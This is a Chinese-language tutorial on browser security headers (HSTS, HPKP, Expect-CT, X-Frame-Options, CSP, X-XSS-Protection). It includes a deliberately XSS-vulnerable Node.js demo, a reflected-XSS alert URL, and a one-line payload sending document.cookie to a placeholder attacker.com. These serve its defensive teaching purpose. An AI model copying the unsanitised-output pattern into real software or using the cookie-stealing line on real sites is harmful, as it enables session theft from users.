摘要：綜上所述，認(rèn)為沒(méi)有提供的保護(hù)，用戶會(huì)過(guò)得更好安全研究人員并不完全反對(duì)這一決定。內(nèi)容安全策略是一個(gè)額外的安全層，用于檢測(cè)并削弱某些特定類型的攻擊，包括跨站腳本和數(shù)據(jù)注入攻擊等。

這是關(guān)于web安全性系列文章的第 三 篇，其它的可點(diǎn)擊以下查看：

Web 應(yīng)用安全性: 瀏覽器是如何工作的

Web 應(yīng)用安全性: HTTP簡(jiǎn)介

目前，瀏覽器已經(jīng)實(shí)現(xiàn)了大量與安全相關(guān)的頭文件，使攻擊者更難利用漏洞。接下來(lái)的講解它們的使用方式、它們防止的攻擊類型以及每個(gè)頭后面的一些歷史。

想閱讀更多優(yōu)質(zhì)文章請(qǐng)猛戳GitHub博客,一年百來(lái)篇優(yōu)質(zhì)文章等著你！

HSTS（HTTP Strict Transport Security）國(guó)際互聯(lián)網(wǎng)工程組織IETF正在推行一種新的Web安全協(xié)議，HSTS 的作用是強(qiáng)制客戶端（如瀏覽器）使用 HTTPS 與服務(wù)器創(chuàng)建連接。

自 2012 年底以來(lái)，HTTPS 無(wú)處不在的支持者發(fā)現(xiàn)，由于 HTTP 嚴(yán)格傳輸安全性，強(qiáng)制客戶端總是使用 HTTP 協(xié)議的安全版本更容易：一個(gè)非常簡(jiǎn)單的設(shè)置 Strict-Transport-Security: max-age=3600 將告訴瀏覽器 對(duì)于下一個(gè)小時(shí)（3600秒），它不應(yīng)該與具有不安全協(xié)議的應(yīng)用程序進(jìn)行交互。

當(dāng)用戶嘗試通過(guò) HTTP 訪問(wèn)由 HSTS 保護(hù)的應(yīng)用程序時(shí)，瀏覽器將拒絕繼續(xù)訪問(wèn)，自動(dòng)將 http:// 的 URL 轉(zhuǎn)換為 https://。

你可以使用 github.com/odino/wasec/tree/master/hsts 中的代碼在本地測(cè)試這個(gè)。你需要遵循 README 中的說(shuō)明(它們通過(guò) mkcert 工具在你的電腦上的localhost 安裝可信的 SSL 證書(shū))，然后嘗試打開(kāi) https://localhost:7889。

在這個(gè)示例中有兩個(gè)服務(wù)器，一個(gè) HTTPS 服務(wù)器監(jiān)聽(tīng) 7889，另一個(gè) HTTP 服務(wù)器監(jiān)聽(tīng)端口 7888。當(dāng)你訪問(wèn) HTTPS 服務(wù)器時(shí)，它總是試圖重定向到 HTTP 版本，這將正常工作，因?yàn)?HTTPS 服務(wù)器上沒(méi)有 HSTS 策略。如果在 URL 中添加 hsts=on 參數(shù)，瀏覽器將強(qiáng)制將重定向中的鏈接轉(zhuǎn)換為 https:// 版本。由于 7888 上的服務(wù)器只支持 http，所以最終將看到類似于這樣的頁(yè)面。

你可能想知道用戶第一次訪問(wèn)你的網(wǎng)站時(shí)會(huì)發(fā)生什么，因?yàn)槭孪葲](méi)有定義 HSTS 策略：攻擊者可能會(huì)欺騙用戶訪問(wèn)你網(wǎng)站的 http:// 版本并在那里進(jìn)行攻擊，所以仍然存在問(wèn)題，因?yàn)?HSTS 是對(duì)首次使用機(jī)制的信任，它試圖做的是確保，一旦你訪問(wèn)過(guò)網(wǎng)站，瀏覽器就知道后續(xù)交互必須使用 HTTPS。

解決這個(gè)缺點(diǎn)的一個(gè)方法是維護(hù)一個(gè)海量的數(shù)據(jù)庫(kù)，其中包含了執(zhí)行 HSTS 的網(wǎng)站，這是Chrome 通過(guò) hstspreload.org 實(shí)現(xiàn)的。你必須首先設(shè)置安全的方案，然后訪問(wèn)網(wǎng)站并檢查它是否符合添加到數(shù)據(jù)庫(kù)的條件。例如，我們可以在這看到 Facebook 榜上有名。

將你的的網(wǎng)站提交到這個(gè)列表中，就可以提前告訴瀏覽器你的網(wǎng)站使用 HSTS，這樣即使客戶端和服務(wù)器之間的第一次交互也將通過(guò)一個(gè)安全通道進(jìn)行。但是這是有代價(jià)的，因?yàn)槟愦_實(shí)需要投入到 HSTS 中。如果你希望你的網(wǎng)站從列表中刪除，這對(duì)瀏覽器廠商來(lái)說(shuō)不是件容易的事:

請(qǐng)注意，預(yù)加載列表中的內(nèi)容無(wú)法輕松撤消。
域名可以被移除，但是 Chrome 的更新需要幾個(gè)月的時(shí)間才能讓用戶看到變化，我們不能保證其他瀏覽器也一樣。不要請(qǐng)求包含，除非您確定能夠長(zhǎng)期支持整個(gè)站點(diǎn)及其所有子域的HTTPS。

這是因?yàn)楣?yīng)商不能保證所有用戶都使用最新版本的瀏覽器，而你的站點(diǎn)已從列表中刪除。仔細(xì)考慮，并根據(jù)你對(duì) HSTS 的信心程度和長(zhǎng)期支持 HSTS 的能力做出決定。

HTTP 公鑰固定是一種安全機(jī)制，它的工作原理是通過(guò)響應(yīng)頭或者 標(biāo)簽告訴瀏覽器當(dāng)前網(wǎng)站的證書(shū)指紋，以及過(guò)期時(shí)間等其它信息。未來(lái)一段時(shí)間內(nèi)，瀏覽器再次訪問(wèn)這個(gè)網(wǎng)站必須驗(yàn)證證書(shū)鏈中的證書(shū)指紋，如果跟之前指定的值不匹配，即便證書(shū)本身是合法的，也必須斷開(kāi)連接。

目前 Firefox 35+ 和 Chrome 38+ 已經(jīng)支持， HPKP 基本格式如下：

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"

各字段含義如下：

pin-sha256 即證書(shū)指紋，允許出現(xiàn)多次（實(shí)際上最少應(yīng)該指定兩個(gè)）；

max-age 和 includeSubdomains 分別是過(guò)期時(shí)間和是否包含子域，它們?cè)?HSTS（HTTP Strict Transport Security）中也有，格式和含義一致；

report-uri用來(lái)指定驗(yàn)證失敗時(shí)的上報(bào)地址，格式和含義跟 CSP（Content Security Policy）中的同名字段一致；

includeSubdomains 和 report-uri 兩個(gè)參數(shù)均為可選；

報(bào)頭使用證書(shū)的散列列出服務(wù)器將使用哪些證書(shū)(在本例中是其中的兩個(gè)證書(shū))，并包含附加信息，比如這個(gè)指令的生存時(shí)間(max-age=3600)和其他一些細(xì)節(jié)。遺憾的是，我們沒(méi)有必要深入了解我們可以用公鑰釘固定做什么，因?yàn)檫@個(gè)功能已經(jīng)被 Chrome 棄用了——這是一個(gè)信號(hào)，這一信號(hào)表明它的采用很快就會(huì)直線下降。

Chrome 的決定并不是不理性的，而僅僅是與公鑰固定相關(guān)的風(fēng)險(xiǎn)的結(jié)果。如果wq丟失了證書(shū)，或者只是在測(cè)試時(shí)犯了一個(gè)錯(cuò)誤，你的網(wǎng)站將無(wú)法訪問(wèn)之前訪問(wèn)過(guò)該網(wǎng)站的用戶(在max-age指令期間，通常是幾周或幾個(gè)月)。

由于這些潛在的災(zāi)難性后果，HPKP 的使用率一直非常低，并且出現(xiàn)了由于錯(cuò)誤配置導(dǎo)致大型網(wǎng)站無(wú)法訪問(wèn)的事件。綜上所述，Chrome 認(rèn)為沒(méi)有 HPKP提 供的保護(hù)，用戶會(huì)過(guò)得更好——安全研究人員并不完全反對(duì)這一決定。

雖然 HPKP 已經(jīng)被棄用，但是一個(gè)新的頭介入進(jìn)來(lái)，防止欺騙 SSL 證書(shū)被提供給客戶端:Expect-CT。

Expect-CT 頭允許站點(diǎn)選擇性報(bào)告和/或執(zhí)行證書(shū)透明度 (Certificate Transparency) 要求，來(lái)防止錯(cuò)誤簽發(fā)的網(wǎng)站證書(shū)的使用不被察覺(jué)。當(dāng)站點(diǎn)啟用 Expect-CT 頭，就是在請(qǐng)求瀏覽器檢查該網(wǎng)站的任何證書(shū)是否出現(xiàn)在公共證書(shū)透明度日志之中。

CT 基本格式如下：

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

max-age：

該指令指定接收到 Expect-CT 頭后的秒數(shù)，在此期間用戶代理應(yīng)將收到消息的主機(jī)視為已知的 Expect-CT 主機(jī)。

如果緩存接收到的值大于它可以表示的值，或者如果其隨后計(jì)算溢出，則緩存將認(rèn)為該值為2147483648（2的31次冪）或其可以方便表示的最大正整數(shù)。

report-uri="" 可選

該指令指定用戶代理應(yīng)向其報(bào)告 Expect-CT 失效的 URI。

當(dāng) enforce 指令和 report-uri 指令共同存在時(shí)，這種配置被稱為“強(qiáng)制執(zhí)行和報(bào)告”配置，示意用戶代理既應(yīng)該強(qiáng)制遵守證書(shū)透明度政策，也應(yīng)當(dāng)報(bào)告違規(guī)行為。

enforce 可選

該指令示意用戶代理應(yīng)強(qiáng)制遵守證書(shū)透明度政策（而不是只報(bào)告合規(guī)性），并且用戶代理應(yīng)拒絕違反證書(shū)透明度政策的之后連接。

當(dāng) enforce 指令和 report-uri 指令共同存在時(shí)，這種配置被稱為“強(qiáng)制執(zhí)行和報(bào)告”配置，示意用戶代理既應(yīng)該強(qiáng)制遵守證書(shū)透明度政策，也應(yīng)當(dāng)報(bào)告違規(guī)行為。

CT 計(jì)劃的目標(biāo)是比以前使用的任何其他方法更早、更快、更精確地檢測(cè)錯(cuò)誤頒發(fā)的或惡意的證書(shū)(以及流氓證書(shū)頒發(fā)機(jī)構(gòu))。

通過(guò)選擇使用 Expect-CT 頭，你可以利用這一優(yōu)勢(shì)來(lái)改進(jìn)應(yīng)用程序的安全狀態(tài)。

想象一下，在你的屏幕前彈出這樣一個(gè)網(wǎng)頁(yè):

只要你點(diǎn)擊這個(gè)鏈接，你就會(huì)發(fā)現(xiàn)你銀行賬戶里的錢(qián)都不見(jiàn)了，發(fā)生了什么事?

你是點(diǎn)擊劫持攻擊的受害者。

攻擊者將你引導(dǎo)至他們的網(wǎng)站，該網(wǎng)站顯示了一個(gè)非常有吸引力的點(diǎn)擊鏈接。 不幸的是，他還在頁(yè)面中嵌入了帶了鏈接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe，且通過(guò)設(shè)置透明度為 0％來(lái)隱藏它。

然后發(fā)生的事情是想到點(diǎn)擊原始頁(yè)面，試圖贏得一個(gè)全新的悍馬，這時(shí)瀏覽器上iframe上捕獲了一個(gè)點(diǎn)擊，這是一個(gè)確認(rèn)轉(zhuǎn)移資金的危險(xiǎn)點(diǎn)擊。

大多數(shù)銀行系統(tǒng)要求你指定一次性 PIN 碼來(lái)確認(rèn)交易，但你的銀行沒(méi)有趕上時(shí)間且你的所有資金都已被轉(zhuǎn)走了。

這個(gè)例子非常極端，但應(yīng)該讓你了解點(diǎn)擊劫持攻擊 可能帶來(lái)的后果。 用戶打算單擊特定鏈接，而瀏覽器將觸發(fā)嵌入 iframe 中“不可見(jiàn)”頁(yè)面上的點(diǎn)擊。

幸運(yùn)的是，瀏覽器為這個(gè)問(wèn)題提供了一個(gè)簡(jiǎn)單的解決方案: X-Frame-Options (XFO)，它允許您人定是否可以將應(yīng)用程序作為 iframe 嵌入外部網(wǎng)站。由于 Internet Explorer 8 的普及，XFO 于2009 年首次引入，現(xiàn)在仍然受到所有主流瀏覽器的支持。

它的工作原理是，當(dāng)瀏覽器看到 iframe 時(shí)，加載它并在渲染它之前驗(yàn)證它的 XFO 是否允許它包含在當(dāng)前頁(yè)面中。

X-Frame-Options 有三個(gè)值:

DENY：表示該頁(yè)面不允許在 frame 中展示，即便是在相同域名的頁(yè)面中嵌套也不允許。

SAMEORIGIN：表示該頁(yè)面可以在相同域名頁(yè)面的 frame 中展示。

ALLOW-FROM uri ：表示該頁(yè)面可以在指定來(lái)源的 frame 中展示。

換一句話說(shuō)，如果設(shè)置為 DENY，不光在別人的網(wǎng)站 frame 嵌入時(shí)會(huì)無(wú)法加載，在同域名頁(yè)面中同樣會(huì)無(wú)法加載。另一方面，如果設(shè)置為 SAMEORIGIN，那么頁(yè)面就可以在同域名頁(yè)面的 frame 中嵌套。

包含最嚴(yán)格的 XFO 策略的 HTTP 響應(yīng)示例如下:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
...

為了展示啟用 XFO 時(shí)瀏覽器的行為，我們只需將示例的 URL 更改為 http://localhost:7888/?xfo=on。 xfo=on 參數(shù)告訴服務(wù)器在響應(yīng)中包含 X-Frame-Options: deny，我們可以看到瀏覽器如何限制對(duì) iframe 的訪問(wèn):

XFO被認(rèn)為是防止基于框架的點(diǎn)擊劫持攻擊的最佳方法，直到數(shù)年后出現(xiàn)了另一種報(bào)頭，即內(nèi)容安全策略(Content Security Policy，簡(jiǎn)稱CSP)。

內(nèi)容安全策略(CSP) 是一個(gè)額外的安全層，用于檢測(cè)并削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和數(shù)據(jù)注入攻擊等。無(wú)論是數(shù)據(jù)盜取、網(wǎng)站內(nèi)容污染還是散發(fā)惡意軟件，這些攻擊都是主要的手段。

為使CSP可用, 你需要配置你的網(wǎng)絡(luò)服務(wù)器返回 Content-Security-Policy HTTP頭部 ( 有時(shí)你會(huì)看到一些關(guān)于 X-Content-Security-Policy 頭部的提法, 那是舊版本，你無(wú)須再如此指定它)。

要了解 CSP 如何幫助我們，我們首先應(yīng)該考慮攻擊媒介。 假設(shè)我們剛剛構(gòu)建了自己的 Google 搜索，這是一個(gè)帶有提交按鈕的簡(jiǎn)單輸入文本。

這個(gè) web 應(yīng)用程序沒(méi)有什么神奇的功能。只是,

顯示一個(gè)表單

讓用戶執(zhí)行搜索

顯示搜索結(jié)果和用戶搜索的關(guān)鍵字

當(dāng)我們執(zhí)行簡(jiǎn)單搜索時(shí)，這就是應(yīng)用程序返回的內(nèi)容：

我們的應(yīng)用程序非常理解我們的搜索，并找到了一個(gè)相關(guān)的圖像。如果我們深入研究源代碼，可以在github.com/odino/wasec/tree/master/xss.com 上找到，我們很快就會(huì)發(fā)現(xiàn)應(yīng)用程序存在安全問(wèn)題，因?yàn)橛脩羲阉鞯娜魏侮P(guān)鍵字都直接打印在提供給客戶端的 HTML 響應(yīng)中:

var qs = require("querystring")
var url = require("url")
var fs = require("fs")
require("http").createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ""
  let results = keyword ? `You searched for "${keyword}", we found:
` : `Try searching...`
res.end(fs.readFileSync(__dirname + "/index.html").toString().replace("__KEYWORD__", keyword).replace("__RESULTS__", results))
}).listen(7888)

  
    
Search The Web
    

      
      
    
    

      __RESULTS__
    
  

這帶來(lái)了一個(gè)糟糕的后果。攻擊者可以創(chuàng)建一個(gè)特定的鏈接，在受害者瀏覽器中執(zhí)行任意JavaScript。

如果你有時(shí)間和耐心在本地運(yùn)行示例，你將能夠快速了解 CSP 的強(qiáng)大功能。 我添加了一個(gè)啟用CSP的查詢字符串參數(shù)，因此我們可以嘗試在啟用 CSP 的情況下導(dǎo)航到惡意 URL：

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

正如你在上面的例子中所看到的，我們已經(jīng)告訴瀏覽器，我們的 CSP 策略只允許腳本包含在當(dāng)前 URL 的同一來(lái)源，我們可以通過(guò)展開(kāi) URL 和查看響應(yīng)頭來(lái)驗(yàn)證:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src "self"
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

由于 XSS 攻擊是通過(guò)內(nèi)聯(lián)腳本(直接嵌入到HTML內(nèi)容中的腳本)進(jìn)行的，所以瀏覽器友好地拒絕執(zhí)行它，以保證用戶的安全。想象一下，如果攻擊者不是簡(jiǎn)單地顯示一個(gè)警告對(duì)話框，而是通過(guò)一些JavaScript代碼將重定向到自己的域，代碼可能如下:

window.location = `attacker.com/${document.cookie}`

他們本來(lái)可以竊取所有用戶的 cookie，其中可能包含高度敏感的數(shù)據(jù)（下一篇文章中有更多內(nèi)容）。

CSP的一個(gè)有趣的變化是 report-only 模式。可以不使用 Content-Security-Policy 頭文件，而是首先使用 Content-Security-Policy-Report-Only 頭文件測(cè)試 CSP 對(duì)你的網(wǎng)站的影響，方法是告訴瀏覽器簡(jiǎn)單地報(bào)告錯(cuò)誤，而不阻塞腳本執(zhí)行，等等。

通過(guò)報(bào)告，你可以了解要推出的 CSP 策略可能導(dǎo)致的重大更改，并相應(yīng)地進(jìn)行修復(fù)。 我們甚至可以指定報(bào)告網(wǎng)址，瀏覽器會(huì)向我們發(fā)送報(bào)告。 以下是 report-only 策略的完整示例：

Content-Security-Policy: default-src "self"; report-uri http://cspviolations.example.com/collector

CSP 策略本身可能有點(diǎn)復(fù)雜，如下例所示:

Content-Security-Policy: default-src "self"; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

本策略定義了以下規(guī)則:

可執(zhí)行腳本（例如JavaScript）只能從 scripts.example.com 加載

圖像可以從任何源(img-src: *)

視頻或音頻內(nèi)容可以從兩個(gè)來(lái)源加載: medias.example.com 和 medias.legacy.example.com

正如你所看到的，策略可能會(huì)變得很長(zhǎng)，如果我們想確保為用戶提供最高的保護(hù)，這可能會(huì)成為一個(gè)相當(dāng)乏味的過(guò)程。不過(guò)，編寫(xiě)全面的 CSP 策略是向 web 應(yīng)用程序添加額外安全層的重要一步。

HTTP X-XSS-Protection 響應(yīng)頭是Internet Explorer，Chrome和Safari的一個(gè)功能，當(dāng)檢測(cè)到跨站腳本攻擊 (XSS)時(shí)，瀏覽器將停止加載頁(yè)面。雖然這些保護(hù)在現(xiàn)代瀏覽器中基本上是不必要的，當(dāng)網(wǎng)站實(shí)施一個(gè)強(qiáng)大的 Content-Security-Policy 來(lái)禁用內(nèi)聯(lián)的 JavaScript ("unsafe-inline")時(shí), 他們?nèi)匀豢梢詾樯胁恢С?CSP 的舊版瀏覽器的用戶提供保護(hù)。

它的語(yǔ)法和我們剛才看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

XSS 是最常見(jiàn)的攻擊類型，其中未經(jīng)過(guò)驗(yàn)證的服務(wù)器打印出未經(jīng)過(guò)處理的輸入，而且這個(gè)標(biāo)題真正發(fā)揮作用。 如果你想親眼看到這個(gè)，我建議你試試 github.com/odino/wasec/tree/master/xss 上的例子。

將 xss=on 附加到 URL 上，它顯示了當(dāng) XSS 保護(hù)時(shí)瀏覽器做了什么 打開(kāi)了。 如果我們?cè)谒阉骺蛑休斎霅阂庾址?

Feature-Policy: vibrate "self"; push *; camera "none"

https://github.com/qq44924588...